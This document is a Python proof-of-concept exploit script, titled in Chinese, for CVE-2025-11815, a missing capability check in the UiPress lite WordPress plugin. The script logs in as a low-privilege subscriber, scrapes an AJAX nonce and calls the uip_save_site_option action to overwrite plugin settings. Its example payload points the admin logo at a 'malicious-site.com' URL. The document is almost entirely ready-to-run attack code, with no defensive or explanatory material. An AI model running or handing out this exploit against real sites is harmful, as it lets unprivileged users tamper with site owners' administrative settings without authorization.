CVE-2025-11815 UiPress lite插件权限绕过漏洞

import requests import json # CVE-2025-11815 PoC - UiPress lite Unauthorized Plugin Settings Modification # Target: WordPress site with UiPress lite plugin <= 3.5.08 target_url = "http://target-wordpress-site.com" # Authenticated user with subscriber role or higher username = "subscriber_user" password = "user_password" def get_nonce(wordpress_url): """Get WordPress nonce for AJAX requests""" login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) # Get nonce from admin page or AJAX API admin_url = f"{wordpress_url}/wp-admin/admin-ajax.php" nonce_response = session.get(f"{wordpress_url}/wp-admin/admin.php?page=uipress", headers={'X-Requested-With': 'XMLHttpRequest'}) # Extract nonce (typical WordPress nonce pattern) import re nonce_match = re.search(r'nonce["\']?\s*:\s*["\']([a-zA-Z0-9]+)["\']', nonce_response.text) nonce = nonce_match.group(1) if nonce_match else input("Enter nonce manually: ") return session, admin_url, nonce def exploit_uip_save_site_option(session, ajax_url, nonce): """Exploit the missing capability check in uip_save_site_option()""" # Payload to modify plugin settings payload = { 'action': 'uip_save_site_option', 'security': nonce, 'optionName': 'uip_custom_admin_logo', # Example setting 'optionValue': 'https://malicious-site.com/logo.png' } response = session.post(ajax_url, data=payload) return response.json() def main(): print("CVE-2025-11815 UiPress lite Exploitation") print("=" * 50) session, ajax_url, nonce = get_nonce(target_url) print(f"[*] Logged in as: {username}") print(f"[*] Attempting to modify plugin settings...") result = exploit_uip_save_site_option(session, ajax_url, nonce) print(f"[*] Response: {json.dumps(result, indent=2)}") if result.get('success'): print("[+] Successfully modified plugin settings!") else: print("[-] Exploitation failed or nonce invalid") if __name__ == "__main__": main()